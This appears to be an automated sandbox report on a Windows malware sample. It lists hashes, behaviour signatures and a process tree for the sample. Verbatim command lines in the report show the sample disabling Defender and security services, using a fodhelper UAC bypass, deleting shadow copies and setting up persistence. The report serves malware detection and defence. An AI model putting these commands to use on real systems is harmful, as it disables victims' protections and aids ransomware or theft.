Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/08/2026, 03:42
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
yaziyorum.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
yaziyorum.io_hyber.exe
Resource
win11ltsc2024-20260710-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target yaziyorum.io_hyber.exe
- Size 49KB
- Sample260809-d9vbaagr3x
- SHA256 c28a8e082f0ec69ba0dde474372595454c9ce0753d8e98eb9af3af6b454f7548
- MD5 d2fb42547acd025068ddf616fdffedae
- SHA1 6f7dc76802d2a2c278908dab0f5a1283c8424e59
- SHA512 c52becc49431ff926174a5e1d2244ed22fbec4f98c73fab6eff97dae20b9ead14acee05c1f6621da8dec5c9963e466c24f35592b95a8a143b7353533511401a2
- SSDEEP 768:SrVZZ6zs0hjUNaFkz0CJqr/NaPzfX/fYH4i:4Z6HhYN+JprmP/fYH4i
- TLSH T1B133F74937ED4521D1BF9ABE89B291118731F493DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/6128-1-0x0000000000660000-0x0000000000672000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" yaziyorum.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1524 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" yaziyorum.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts yaziyorum.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3440 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf yaziyorum.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_hyber.exe" yaziyorum.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4424 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe yaziyorum.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe yaziyorum.io_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe yaziyorum.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5668 wscript.exe 2400 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" yaziyorum.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1989509842.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4540 sc.exe 5076 sc.exe 3284 sc.exe 4524 sc.exe 2232 sc.exe 2864 sc.exe 2416 sc.exe 364 sc.exe 1592 sc.exe 2408 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1552 cmd.exe 4388 cmd.exe 1980 cmd.exe 5968 cmd.exe 1820 cmd.exe 6084 cmd.exe 4328 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6024 NETSTAT.EXE 3692 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4080 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3564 vssadmin.exe 2704 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\WallpaperStyle = "2" yaziyorum.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command yaziyorum.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command\DelegateExecute yaziyorum.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" yaziyorum.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_hyber.exe\" \"%1\"" yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell yaziyorum.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_hyber.exe" yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command yaziyorum.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5028 schtasks.exe 600 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1524 powershell.exe 1524 powershell.exe 1524 powershell.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 4380 WMIC.exe 4380 WMIC.exe 4380 WMIC.exe 4380 WMIC.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 2932 WMIC.exe 2932 WMIC.exe 2932 WMIC.exe 2932 WMIC.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe 6128 yaziyorum.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2064 LogonUI.exe Token: SeCreatePagefilePrivilege 2064 LogonUI.exe Token: SeDebugPrivilege 6128 yaziyorum.io_hyber.exe Token: SeDebugPrivilege 1524 powershell.exe Token: SeIncreaseQuotaPrivilege 1524 powershell.exe Token: SeSecurityPrivilege 1524 powershell.exe Token: SeTakeOwnershipPrivilege 1524 powershell.exe Token: SeLoadDriverPrivilege 1524 powershell.exe Token: SeSystemProfilePrivilege 1524 powershell.exe Token: SeSystemtimePrivilege 1524 powershell.exe Token: SeProfSingleProcessPrivilege 1524 powershell.exe Token: SeIncBasePriorityPrivilege 1524 powershell.exe Token: SeCreatePagefilePrivilege 1524 powershell.exe Token: SeBackupPrivilege 1524 powershell.exe Token: SeRestorePrivilege 1524 powershell.exe Token: SeShutdownPrivilege 1524 powershell.exe Token: SeDebugPrivilege 1524 powershell.exe Token: SeSystemEnvironmentPrivilege 1524 powershell.exe Token: SeRemoteShutdownPrivilege 1524 powershell.exe Token: SeUndockPrivilege 1524 powershell.exe Token: SeManageVolumePrivilege 1524 powershell.exe Token: 33 1524 powershell.exe Token: 34 1524 powershell.exe Token: 35 1524 powershell.exe Token: 36 1524 powershell.exe Token: SeIncreaseQuotaPrivilege 1524 powershell.exe Token: SeSecurityPrivilege 1524 powershell.exe Token: SeTakeOwnershipPrivilege 1524 powershell.exe Token: SeLoadDriverPrivilege 1524 powershell.exe Token: SeSystemProfilePrivilege 1524 powershell.exe Token: SeSystemtimePrivilege 1524 powershell.exe Token: SeProfSingleProcessPrivilege 1524 powershell.exe Token: SeIncBasePriorityPrivilege 1524 powershell.exe Token: SeCreatePagefilePrivilege 1524 powershell.exe Token: SeBackupPrivilege 1524 powershell.exe Token: SeRestorePrivilege 1524 powershell.exe Token: SeShutdownPrivilege 1524 powershell.exe Token: SeDebugPrivilege 1524 powershell.exe Token: SeSystemEnvironmentPrivilege 1524 powershell.exe Token: SeRemoteShutdownPrivilege 1524 powershell.exe Token: SeUndockPrivilege 1524 powershell.exe Token: SeManageVolumePrivilege 1524 powershell.exe Token: 33 1524 powershell.exe Token: 34 1524 powershell.exe Token: 35 1524 powershell.exe Token: 36 1524 powershell.exe Token: SeIncBasePriorityPrivilege 6128 yaziyorum.io_hyber.exe Token: SeDebugPrivilege 4760 whoami.exe Token: SeDebugPrivilege 4424 tasklist.exe Token: SeDebugPrivilege 6024 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 4380 WMIC.exe Token: SeSecurityPrivilege 4380 WMIC.exe Token: SeTakeOwnershipPrivilege 4380 WMIC.exe Token: SeLoadDriverPrivilege 4380 WMIC.exe Token: SeSystemProfilePrivilege 4380 WMIC.exe Token: SeSystemtimePrivilege 4380 WMIC.exe Token: SeProfSingleProcessPrivilege 4380 WMIC.exe Token: SeIncBasePriorityPrivilege 4380 WMIC.exe Token: SeCreatePagefilePrivilege 4380 WMIC.exe Token: SeBackupPrivilege 4380 WMIC.exe Token: SeRestorePrivilege 4380 WMIC.exe Token: SeShutdownPrivilege 4380 WMIC.exe Token: SeDebugPrivilege 4380 WMIC.exe Token: SeSystemEnvironmentPrivilege 4380 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 6128 yaziyorum.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2064 LogonUI.exe 2064 LogonUI.exe 6128 yaziyorum.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 6128 wrote to memory of 1524 6128 yaziyorum.io_hyber.exe 91 PID 6128 wrote to memory of 4540 6128 yaziyorum.io_hyber.exe 93 PID 6128 wrote to memory of 5076 6128 yaziyorum.io_hyber.exe 95 PID 6128 wrote to memory of 364 6128 yaziyorum.io_hyber.exe 97 PID 6128 wrote to memory of 3284 6128 yaziyorum.io_hyber.exe 99 PID 6128 wrote to memory of 1592 6128 yaziyorum.io_hyber.exe 101 PID 6128 wrote to memory of 4524 6128 yaziyorum.io_hyber.exe 103 PID 6128 wrote to memory of 2232 6128 yaziyorum.io_hyber.exe 105 PID 6128 wrote to memory of 2408 6128 yaziyorum.io_hyber.exe 107 PID 6128 wrote to memory of 940 6128 yaziyorum.io_hyber.exe 109 PID 940 wrote to memory of 1844 940 fodhelper.exe 110 PID 6128 wrote to memory of 5668 6128 yaziyorum.io_hyber.exe 113 PID 6128 wrote to memory of 600 6128 yaziyorum.io_hyber.exe 114 PID 6128 wrote to memory of 1552 6128 yaziyorum.io_hyber.exe 118 PID 6128 wrote to memory of 4388 6128 yaziyorum.io_hyber.exe 120 PID 6128 wrote to memory of 1980 6128 yaziyorum.io_hyber.exe 121 PID 6128 wrote to memory of 5968 6128 yaziyorum.io_hyber.exe 122 PID 6128 wrote to memory of 1820 6128 yaziyorum.io_hyber.exe 123 PID 6128 wrote to memory of 4328 6128 yaziyorum.io_hyber.exe 124 PID 6128 wrote to memory of 6084 6128 yaziyorum.io_hyber.exe 125 PID 6128 wrote to memory of 5028 6128 yaziyorum.io_hyber.exe 126 PID 6128 wrote to memory of 2400 6128 yaziyorum.io_hyber.exe 134 PID 6084 wrote to memory of 6024 6084 cmd.exe 135 PID 1820 wrote to memory of 6140 1820 cmd.exe 136 PID 6140 wrote to memory of 5624 6140 net.exe 137 PID 1980 wrote to memory of 4424 1980 cmd.exe 138 PID 4388 wrote to memory of 4080 4388 cmd.exe 139 PID 6128 wrote to memory of 4920 6128 yaziyorum.io_hyber.exe 140 PID 5968 wrote to memory of 4760 5968 cmd.exe 141 PID 4328 wrote to memory of 3692 4328 cmd.exe 142 PID 6128 wrote to memory of 3564 6128 yaziyorum.io_hyber.exe 143 PID 6128 wrote to memory of 4380 6128 yaziyorum.io_hyber.exe 144 PID 6128 wrote to memory of 908 6128 yaziyorum.io_hyber.exe 145 PID 6128 wrote to memory of 3440 6128 yaziyorum.io_hyber.exe 146 PID 6128 wrote to memory of 2416 6128 yaziyorum.io_hyber.exe 147 PID 6128 wrote to memory of 2864 6128 yaziyorum.io_hyber.exe 148 PID 1552 wrote to memory of 2704 1552 cmd.exe 155 PID 908 wrote to memory of 5392 908 net.exe 156 PID 1552 wrote to memory of 2932 1552 cmd.exe 159 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6128 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4540
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5076
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:364
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3284
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1592
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4524
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2232
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2408
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"3⤵PID:1844
